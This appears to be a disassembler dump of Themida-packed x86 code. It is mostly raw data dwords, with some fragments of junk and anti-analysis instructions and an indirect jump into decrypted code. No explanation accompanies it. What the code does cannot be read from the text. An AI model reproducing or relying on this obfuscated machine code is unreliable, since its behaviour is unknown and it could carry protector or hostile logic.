0AF72DB00h, 0D6C2B983h, 0BB66A82Ah dd 835FA9FBh, 0FFFFFFA5h, 9D8BFEFFh, 6121A79h, 4C4C9589h dd 5E8505Fh, 22000000h, 0D4106CA5h, 0BD895FFCh, 6121A29h dd 0E9h, 0D7B58D00h, 6A061694h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 44BCC352h, 53A78BD8h dd 34798D29h, 6A5F0612h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 423883A0h, 0F51FB5D1h dd 8B669C65h, 0BA6660D8h, 8501D169h, 6122205h, 0D195FF61h dd 6A061229h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0B255C357h, 296EDB60h, 0B9DE8B66h dd 1004h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 31C35040h, 1B335ACCh, 5AE75925h, 0FB8B66BCh, 89FCE183h dd 1224E18Dh, 0BD8BFC06h, 61210E1h, 0B8h, 0E3816600h, 0BA4EBFh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 209EC357h, 7D2ECFECh, 89FA8B66h dd 1231F585h, 0C233AD06h, 0D003E8D1h, 7504E983h, 25BD89F4h dd 6A06121Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 5BAFC356h, 5F8C9D4Eh, 0BD9D8BFAh dd 0D06122Fh, 88h, 2DCD958Bh, 0BD8B0612h, 61225B5h, 31BD8D8Bh dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 4EE4ECC3h, 3BF6B0D0h, 9D8BFC6Bh, 6121AD9h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0FBDE49C3h, 14C98D01h, 0BF660612h, 0BD83E139h, 6121419h dd 4B840F00h, 0E9000000h, 0Dh, 100A1A2Ah, 0A9F794A2h, 9C793D40h dd 0B831h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0AFA342C3h, 8D8DA28Ah, 6124E4Bh dd 21DDBD31h, 0E1FF0612h, 8F19D8Bh, 0BD830612h, 6120011h dd 95840F00h, 0F000004h, 0BD83DFBFh, 6120011h, 0A0840F01h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0E926C353h, 11BD83h, 0F030612h dd 44086h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 7307999Ah, 2BDD1AAFh, 12266DBDh dd 6A6006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 296A70C3h, 1212CDB5h, 0D98C6606h, 0AA8CBF66h dd 6A04E180h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0DA78C352h, 0FD526206h, 89E7E68Eh dd 12162995h, 0C59D8906h, 0A061219h, 62840FC9h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 92E6C355h, 0B6B59EC0h, 0B72C9A4Fh, 8EDF8166h dd 0CD858B50h, 6A061224h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0CE82C353h, 0FEC78155h dd 0FABF0F15h, 248D8533h, 6A0612h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0AA88E4C3h, 0E47D0A39h dd 9E9F8h, 30CA0000h, 0DBE17A7Eh, 501A1279h, 0CE960h, 15440000h dd 1A8BAD16h, 9BED5E81h, 8961261Dh, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 94AF4DC3h dd 0DF8B66E2h, 6800F51h, 8B000000h, 1213D99Dh, 6A5F06h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0CC35343h, 5E78AEE3h, 89162E06h, 1210659Dh dd 10E906h, 1B50000h, 0D8AFC115h, 83E2888Ch, 9463C8C2h dd 5868A176h, 0BF2B5915h, 102EFC2Ah, 0A7243481h, 0F92B4616h dd 303195FFh, 0BB660612h, 0E9537335h, 14h, 47189AA3h, 0F4D540D1h dd 7C9CAE3Fh, 3A125976h, 0A2DFE6B6h, 0C85895Bh, 660615BDh dd 88DFCF81h, 0D4E9D88Bh, 8B000001h, 122C65BDh, 4858B06h dd 6A0615BDh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 2A5CC351h, 0BB32D416h, 0C79604h dd 18h, 2F45BD89h, 0B58B0612h, 615BD08h, 6E8h, 3C57F300h dd 66CD7B98h, 5515E781h, 99858B5Fh, 6A061223h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 5D14C355h, 0BD858992h, 0BF061232h, 25028107h, 689D98Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1EC35040h dd 5721FB76h, 7BD01F2Ah, 0CD858BC5h, 6A061224h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 2A78C350h, 0D34B4CBAh, 48E0F34h, 66000000h, 321A1BBh dd 121EF1BDh, 4468906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 28C35747h, 0CDB58912h, 50061200h, 3489DF8Bh dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 118D7B58h, 0F3511AFBh, 0E851EB87h, 6, 1D511CF2h dd 0BE96154h, 76000000h, 0AFDB683h, 25893E59h, 5B5F729Fh dd 31ED9D8Bh, 0B5FF0612h, 615BD04h, 7E9h, 62DEDE00h, 0B766ACFAh dd 4E8h, 1F03FF00h, 8B665000h, 24448BDFh, 0FE8B6604h, 0BB66008Bh dd 4489E32Dh, 8B580424h, 1207B5BDh, 0C858D06h, 0E90615BDh dd 5, 4A200C3Ah, 8B6690A6h, 339050FBh, 1203B1BDh, 3195FF06h dd 6A061230h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 5E79C352h, 8BBBD155h, 61636ADBh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 52C35545h dd 5890F9Ah, 0BB000000h, 399CF557h, 0C4DBD8Bh, 85C70612h dd 6120011h, 3, 0D6B70F60h, 15CD8D89h, 83610612h, 15BD0CBDh dd 840F0006h, 31h, 11E9h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh dd 0C0E6E17Fh, 31E9A4A2h, 0E8000000h, 0Eh, 7039F0C8h, 6819171Eh dd 54889E5Dh, 0FD8A97E2h, 0C30505Bh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0F0C35747h, 382C95A3h, 7A110AA5h, 19A1BB66h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 92C35040h dd 8349CABFh, 120011BDh, 850F0306h, 3ADh, 58B0Fh, 0BDBF0000h dd 895EC63Dh, 1208F1B5h, 0CBD8306h, 615BDh, 38F840Fh, 0BB660000h dd 0B5FF92F0h, 615BD0Ch, 23819589h, 9D890612h, 61207F5h dd 202995FFh, 0B5890612h, 612186Dh, 0BD00B58Bh, 6A0615h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 32F227C3h, 0DF8166D9h, 6C7A69Fh, 10001h, 1A7D9D8Bh dd 89500612h, 0DF8B2434h, 0BD0CB5FFh, 0BF0F0615h, 0E195FFDBh dd 3306121Ah, 1203299Dh, 0B58B06h, 6A0615BDh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0B4C1C356h, 0EB815250h, 5A9F2F06h, 39858B5Bh, 8B061230h dd 120401BDh, 79BD8B06h, 8906120Bh, 0C486h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0C47B21B7h, 82A1EA9Bh, 6800F60h, 89000000h, 12191585h dd 7E806h, 38B00000h, 7E53F4E9h, 8D0F3Bh, 5F000000h, 0CD958B61h dd 6A06122Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 76C5C352h, 0E9BE0A30h, 7, 0A30EAEC1h dd 81CAD25Bh, 84D89C7h, 4C28373h, 6A205089h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 3A48C351h, 18F4A034h, 81948A91h, 0CFF138F3h, 0EA858D0Ch dd 890615D0h, 1225A58Dh, 31B53106h, 89061233h, 0B886h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0CF4B4863h, 60006A17h, 8E9DA8Bh, 89000000h dd 9FB02FC0h, 61166017h, 0BD0CB5FFh, 0E9510615h, 7, 12C73593h dd 5BF253C8h, 2CD595FFh, 95890612h, 6122205h, 50DF8B96h dd 8B9690B7h, 0CB5FFF8h, 6A0615BDh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0D387C353h dd 6C948130h, 2E2995FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 14208C3h, 68AE5364h dd 59BD8B98h, 8306120Fh, 121189BDh, 840F0006h, 63h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DBC35040h, 9D8BC578h dd 612342Dh, 52505096h, 3DCBBB66h, 0E960310Fh, 0Ch, 76FCDB5Eh dd 304CD9h, 0DDA731D2h, 96585A61h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0DFC35242h, 0FF2E5BCFh, 15BD0CB5h dd 41BF6606h, 0A595FF03h, 8906122Ah, 1231FD9Dh, 0CB5FF06h dd 6A0615BDh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0AA20C356h, 46023C01h, 1DBD2361h dd 0FF06121Dh, 121BB195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0C784504Bh dd 85290C4Bh, 6121701h, 344DB509h, 0BD830612h, 6122A41h dd 52840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0F866C357h, 858B1518h dd 61218A9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 11C35343h, 0B022FD5Eh, 0CDE4C1C8h, 890000C6h, 122099B5h dd 185C706h, 61203h, 0E9000000h, 0Dh, 4A0A94B7h, 0BC231718h dd 8B320497h, 0F3BFE9B1h, 6AFFFFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 9B6B68C3h, 65BD8B23h dd 8B061210h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 18C4DA06h, 3490B41h, 121141BDh, 16E906h dd 4A400000h, 56DEh, 4 dup(0) ; --------------------------------------------------------------------------- jmp loc_5CEA02 ; --------------------------------------------------------------------------- mov eax, [esi] or [ebx-3FA65997h], edi retf 0F845h ; --------------------------------------------------------------------------- pop edi xor bh, bl xchg eax, edx stc xchg eax, esp jnp short loc_5CE503 db 3Eh ja short loc_5CE54F push ss stc lodsb adc edi, [eax-69h] dec edx mov cl, 0DFh xor bl, ah dec edx inc esp retf ; --------------------------------------------------------------------------- dw 0A47Eh dd 893A4D55h, 6C494DF6h, 0F31C7296h, 431FB334h, 0EF27C5D7h dd 0DFAE775Ch ; --------------------------------------------------------------------------- xor bl, ah dec edx loc_5CE503: ; CODE XREF: Themida_:005CE4D3j inc esp retf ; --------------------------------------------------------------------------- db 96h, 0CDh, 0C1h dd 0C54A41FAh, 7A0DBD90h, 947E02Dh, 955E93FEh, 0E3415AF7h dd 67184DB5h, 6843DFCh, 840BD409h, 1883568Bh, 63BD4B7h dd 25BBA033h, 0CDA86DEEh, 25218F4Eh, 509B4692h, 5912D13Eh dd 0D2A5DA35h, 0BCF11E71h db 0E9h, 56h, 59h ; --------------------------------------------------------------------------- loc_5CE54F: ; CODE XREF: Themida_:005CE4D5j rcl al, 3Fh repne pop ecx aaa sbb bl, [ebx+5B15B75h] add esp, [edx+1DF025EAh] mov dl, 7Dh mov ah, 0D7h cmp [ebx], al cmp dl, [edx-43h] mov [edi+790F44CBh], bh db 65h jl short loc_5CE5DA daa cmp esp, [esi-0AD0A323h] mov ecx, 71B2DB4Dh push 147AA085h xor dword ptr [eax+20h], 8509A2EFh mov dl, [ebp+3Dh] push ecx sbb bh, 47h imul esp, [ebx], -14h mov bh, 0EEh mov ds:0BF73386Dh, al and bh, [ebp+7C13CE3Ah] add al, 0DFh mov esp, 74D122h ; --------------------------------------------------------------------------- dw 0 dd 75931423h, 8D6C8135h, 0EAA4B548h, 0DFAD6625h, 0A0B89D30h dd 47DF93EDh, 1D52BDD1h, 0A3D83754h, 9FE8F90Dh, 0DF93F097h dd 1D889347h db 9Ah, 2Eh ; --------------------------------------------------------------------------- loc_5CE5DA: ; CODE XREF: Themida_:005CE570j mov bl, 0DCh in al, 0CAh ; DMA controller, 8237A-5. ; single mask bit register ; 0-1: select channel (00=0; 01=1; 10=2; 11=3) ; 2: 1=set mask for channel; 0=clear mask (enable) mov esp, 63122h ; --------------------------------------------------------------------------- db 0 dd 2894200h, 144C7A0Dh, 5F92F5FDh, 0E6F147DFh, 0C54A4253h dd 4AC5C790h, 5A35EE15h, 7E1122B5h, 0B2C65C91h, 37D8B42Fh dd 513AF3EAh, 741A2BBEh, 0C55BDC9Bh, 0EEB93181h, 0B56B68FBh dd 0BFF41B72h, 6BAEDF98h, 0F083EE21h, 2D62ADDFh, 0CC17CA4Eh dd 68014EC1h, 0EBB4E926h, 199B1C9Fh, 5CB3DD9Dh, 63365101h dd 3A4547DFh, 0EE0A9ACFh, 0FF549CF3h, 96E122BCh, 0F2000000h dd 83B85739h, 72EF1DB0h, 0B435F41Bh, 0A1EC8FD2h, 7506456Eh dd 0CD424DAEh, 4D32C598h, 0D4090684h, 558A850Bh, 0DA0F008Ch dd 756A77FBh, 0D5AE3347h, 7AD1B6BEh, 0A7B247DFh, 858A0314h dd 7884138h, 6D00D308h, 0A9DE315Ch, 206AAFE0h, 0CC584EFh dd 13F88B84h, 94C9464Ah, 174CC3CBh, 6F746D81h, 0CFB62B47h dd 22BCE787h, 4614h, 1B726600h, 9AF6BFF4h, 0DF35B675h dd 0C7341710h, 7E2136C2h, 7D703755h, 0C40805EAh, 54BBD21Dh dd 5EB1DC95h, 0C6C35629h, 0F51A7210h, 5FE6A8C0h, 4AB647DFh dd 5835EE97h, 1CAF82B7h, 0BCFED7AFh, 10422h, 72560000h dd 0F9C2F718h, 9D457A95h, 0D5B530B1h, 8790ED3Ah, 2BD3DB9Ah dd 1A49F183h, 9CB3DA0Fh, 0B464ABE3h, 4DF18CD3h, 112A5B0h dd 9C35828Dh, 0D0E81DF2h, 4DF18CBDh, 2F5889CDh, 8EF90118h dd 0ED4DF18Ch, 8C5532E2h, 25264DF1h, 0AB3EA966h, 5C1BF49Ah dd 0EE23ECA3h, 948B881Bh, 0F2350413h, 0F386542Eh, 70FACE2h dd 4DF25980h, 588DF803h, 0DB10FF8Fh, 7E6978FCh, 88870910h dd 0FBDBD01Dh, 3024AE04h, 167h, 9068841h, 406E01D4h, 1C0A5AEh dd 0F17729F9h, 0D4091449h, 0F696830Bh, 0C861AE19h, 9AEDF5C6h dd 0E94DF178h, 4A21AC20h, 9B0699AEh, 5C32FB30h, 1B9F7EB3h dd 8704BDC6h, 716485CAh, 46F3645h, 5869FCCFh, 978CD936h dd 24AE223Fh, 49C6C67Fh, 48B4B6h, 14060000h, 1C82DA93h dd 1CAFA805h, 99583D47h, 0DFADD691h, 0A5DAE5C7h, 45CAC57Eh dd 113552B2h, 0CD81C7DFh, 260B1514h, 11085F67h, 0FD1447DFh dd 0DFAD92F5h, 53E6F147h, 0BCB3000Bh, 0F7CCFF3Bh, 25B882FCh dd 0CA16h, 0A5AE8000h, 55F901C0h, 0B049F181h, 5E2DE6A5h dd 0FAEB7CB1h, 0E85AFC32h, 775CEF5Ah, 5139E0AEh, 0CDC089BEh dd 1F6CD742h, 0FABFA728h, 320F8237h, 0F008E9Fh, 56313950h dd 0FE4DF215h, 0F21591F6h, 4FE7F24Dh, 0AE054886h, 0A10CD3A8h dd 7B11290Eh, 714DF1D8h, 9CEBF30Ah, 0DF4DF1D9h, 0DA0F7880h dd 616C4DF1h, 0CA1763F6h, 0CB4C6F1Fh, 254DDBA9h, 0A8DF8FE5h dd 0DB4DF1EAh, 0B0984612h, 0C42F9185h, 0A6AF0C59h, 345BC201h dd 0C7328482h, 0CAFB8708h, 0FAF7BAFBh, 8FF0F867h, 9C50071Fh dd 7C355C91h, 0A0C7FC13h, 0E516EF98h, 16818C47h, 0F31C7283h dd 72151D34h, 1147E516h, 0E68E7306h, 2F38E7FAh, 47B8342h dd 3749FA39h, 0AE29DF2Ch, 0F901C0A5h, 49F48186h, 0AC75AAB5h dd 0B75837E2h, 0F744AF82h, 3E21305Eh, 92F4B895h, 9923646Ch dd 55604DF6h, 324A7FEAh, 0FD1DF3ACh, 75707185h, 0B2A9F619h dd 0E87B94F9h, 2358B7D7h, 0C84743FCh, 0AE6B2435h, 27FA2FE0h dd 0F3DF87BCh, 0B69BF3EEh, 0A59CE95Ah, 57A40F8Eh, 26E9A760h dd 30C8293h, 307CEh, 22710000h, 0F01F7234h, 739CF2BBh dd 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh dd 8B8406CFh, 10FF8D56h, 0E68D4DBh, 89000006h, 6668242Ch dd 8900000Bh, 2468241Ch, 89000076h, 0E7682434h, 8B061729h dd 0C481241Ch, 4, 4EC81h, 24890000h, 24048124h, 4, 6855515Eh dd 2024289h, 0D1CD815Dh, 8143030Ch, 34ED1F5h, 5DE98943h dd 1989F101h, 24348B59h, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 5B2434FFh, 0E904C483h, 0FFFB51DDh, 0C64727A2h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop edi loc_5CEA02: ; CODE XREF: Themida_:005CE4BCj mov eax, 6172EB0h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 3Ah dd 5521E300h, 0D52BB6F2h, 372853CDh, 0CA68DDAFh, 0F114A7B4h dd 41342CA6h, 2217882Dh, 0C18B97Eh, 28447653h, 9F4E57F5h dd 1F5DA62Eh, 3F4772A9h, 633DD909h, 0BD3179F5h, 3C38803Fh dd 8D36326Ch, 12006585h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 80D6B885h, 7DF3874Bh dd 3810Fh, 8B660000h, 8BDDBFFBh, 0FE96218h, 53000000h dd 0D6E18F54h, 8E72E8CFh, 0EE59DA6Dh, 0E850EBEDh, 0Eh dd 3520DD2Bh, 0D6A6F456h, 15DE1B36h, 665040A8h, 5F5BFE8Bh dd 0E9240489h, 0Eh, 1A24DA66h, 0D60BD8C4h, 5E306AC1h, 6AD9CEh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 47C35040h dd 0D2A55052h, 667C4DA4h, 0F781DF8Bh, 1D435F19h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0B70F61C3h, 0C7858DDEh, 0E9061731h, 0Eh, 3B1DCE5Ah dd 8C03D348h, 0A4CA7045h, 0C083CAC5h, 0CD852905h, 0F06122Ah dd 486h, 2BF6600h, 0E8509092h, 14h, 58D6806Bh, 0C637716Ah dd 16424733h, 0EEA863FCh, 1870E30Eh, 56C13BBBh, 505F5B58h dd 50C4B560h, 0F5A5052h, 0BE931h, 0AB850000h, 1348FBEFh dd 1B753455h, 61585A17h, 0F88B6690h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0C5923DC3h dd 50D648E8h, 0B3006AF9h, 5595FFAFh, 6A06120Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 5D28C352h, 4F7327DEh, 0E1BD8BF1h, 8D061207h, 159BCA8Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 4B89ECBAh, 7E97Eh, 44920000h, 0D54D9F66h dd 0A5BD8B5Fh, 0FF061207h, 56006AD1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0BBDD975Bh dd 364B5133h, 3325BD8Bh, 0BD830612h, 6120EE9h, 56850F01h dd 0F000000h, 26ADAB7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 96C35141h, 3BD3A029h, 74B79056h, 91B86050h dd 50638510h, 0F616052h, 0F4BF6631h, 61585AD0h, 3800F90h dd 0F000000h, 95FFF8B7h, 6122CD5h, 89DEBF0Fh, 122A7195h dd 0DEDE906h, 0E80000h, 5D000000h, 31D1ED81h, 9D030617h dd 6122341h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0D6C35141h, 6DBD8B1Fh, 8D061224h, 15968F85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 4DBB2386h, 9043F68Dh, 30BF6650h, 0E8505FA6h, 0Eh, 3AC74DB1h dd 0E4C8F09h, 53FEDDF1h, 0BF667EA8h, 905F0052h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B3C35141h, 346046Bh dd 9D8BC391h, 6122369h, 35FF64h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5BFBC355h dd 64DDBDCAh, 2589h, 0BF660000h, 85FF4AAEh, 6121235h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FC35242h, 29BD0307h dd 0E906121Fh, 13h, 0FEF9EC0Ah, 457C6157h, 71097460h, 0C4E3C214h dd 6AF5D5C3h, 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0E81FB27Ah, 0C55923E2h, 7E91F6Dh dd 0F1000000h, 30AE4B59h, 0B5FF81D2h, 61213A1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0CDC35545h, 1B499D8Bh dd 95FF0612h, 6121475h, 0E8E9h, 1DBD8B00h, 0B0061233h dd 0BD9D8900h, 0E6061200h, 8D9D8970h, 0E4061217h, 9D8B5371h dd 61203F1h, 0F613C5Fh, 0C083h, 24CEBF00h, 0B60F31B1h dd 6BAC8h, 0FE8B0000h, 3850Fh, 8B660000h, 31C18BF8h, 1232098Dh dd 4E8C106h, 66F98B66h, 9531E2F7h, 612266Dh, 0B70FC82Bh dd 9D18BDFh, 122D29BDh, 7FE906h, 0BB600000h, 4FDBCA76h dd 2E59BD8Bh, 8B610612h, 47554C85h, 0CDB53149h, 83061208h dd 0BD8B07C0h, 6121325h, 8A00C083h, 0FD03BF9h, 1183h, 66FC6000h dd 963CCE81h, 43E961h, 0BF660000h, 8D8BF931h, 0FFFFFFFFh dd 189D8D29h, 0E1830612h, 2A840F01h, 0E9000000h, 6, 0D5954214h dd 852900F7h, 612159Dh, 0FFFFA583h, 8BFEFFFFh, 121479BDh dd 4C958906h, 0FC494755h, 0E9h, 0DBB58D00h, 6A0616A4h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0A468C350h, 84D49063h, 89C5AB4Bh, 1231C185h dd 66006A06h, 8666DB81h, 29D195FFh, 6A0612h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BA271C3h dd 10AEB9D9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0E3AEBCC3h, 0AE9h, 0D59C3D00h, 464878E8h dd 8340120Fh, 8A0FFCE1h, 6, 19D99589h, 5CBB0612h, 0FC77D678h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E1C35040h dd 957610BEh, 0E9216921h, 0Dh, 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h dd 81C02B65h, 0F13977CFh, 0BA0Dh, 9D8B0000h, 612328Dh dd 1C99BD0Bh, 33AD0612h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 3EFEAEC3h, 895260C0h, 121E45BDh, 81665B06h, 61BDD5D7h dd 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0F470AFA9h, 822D09A8h, 0ED8D895Bh dd 8B061227h, 122DCD95h, 6D8D8906h, 8B06121Eh, 1231BD8Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 773A5DECh, 66DD752Eh, 82F5F381h, 0CE9h dd 7B9DB700h, 61131450h, 0A01F060h, 0D8B70F55h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B68B9C3h dd 840F53FBh, 6, 69BD8Bh, 835F0612h, 121419BDh, 840F0006h dd 6Ch, 1DD19D33h, 0B80612h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BF01C352h dd 0BB66A423h, 8D8DCC3Ch, 6124E4Bh, 2C659D8Bh, 0E1FF0612h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 49C35141h dd 963092F6h, 0EEFFAEE0h, 6870Fh, 0B5290000h, 61227BDh dd 11BD83h, 0F000612h, 47484h, 0BE900h, 9E970000h, 0A65595C2h dd 0BA010015h, 105CBFF1h, 0BD834523h, 6120011h, 6D840F01h dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0E10AC352h, 11BD83h, 0F030612h dd 40D86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0A95A228Fh, 0B58914ADh, 61222FDh dd 45C78166h, 860F60C0h, 0Ch, 68F0Fh, 8D890000h, 6122845h dd 6AD98C66h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 55D8C352h, 351CF66Bh, 0E9E8C4AAh, 5, 28EAF043h, 4E1805Dh dd 2800Fh, 0D98B0000h, 840FC90Ah, 146h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 98C35040h, 0CD858BF9h dd 66061224h, 8533FB8Bh, 612248Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0F9C35747h, 5E5F9074h, 5190D263h dd 3870Fh, 8B660000h, 8B505FDEh, 9D8B90F9h, 61208C9h, 0BB66006Ah dd 0DE8A9FBh, 9E000000h, 0ADF3B73Dh, 9D5D6186h, 0F76359D9h dd 5FF9BF0Fh, 4E8h, 1F03FF00h, 3BB6600h, 0BE850C9h, 71000000h dd 0E9DCB85Bh, 0BD8393A0h, 0B060559Ch, 61F08BF6h, 24448B5Fh dd 6E95104h, 0CF000000h, 135270BDh, 8B5BE7h, 4244489h dd 13E9h, 33727700h, 77318233h, 0D9C197EFh, 5F8797B5h dd 5B1FDBCFh, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 9589AB7Ch, 61215BDh, 303195FFh, 6A0612h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 7105C7C3h, 19E7AED8h, 0D5C7E781h, 858914E1h, 615BD0Ch dd 1BCE9h, 0F850F00h, 0E9000000h, 0Ah, 8B496705h, 8452F3A6h dd 858B8DB9h, 615BD04h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 1CC35141h, 0C381F077h, 1BE5DE82h, 1800C7h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 78D84BC3h, 2164DFD8h, 8B58BEAh, 0E90615BDh dd 8, 1F3AB5CAh, 921951E0h, 2399858Bh, 6A0612h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E933C6C3h, 14h, 21BBA5CBh, 70B35397h, 74B201C8h, 0AB09FE53h dd 0A71414D3h, 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 9FC46FC3h, 898E8FDBh, 12292D9Dh dd 0CD858B06h, 9061224h, 122415BDh, 4468906h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 69C35646h, 7E9F5E4h dd 7C000000h, 205D420Ch, 605098B5h, 0C366B7B8h, 3489610Ch dd 0BE924h, 4B850000h, 546A8DCAh, 87F8CB84h, 4B5FFD6h dd 6A0615BDh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 72CC352h, 893E922Ch, 12109DBDh dd 0DB816606h, 6D686C3Dh, 8B7B4F7Ch, 243481FAh, 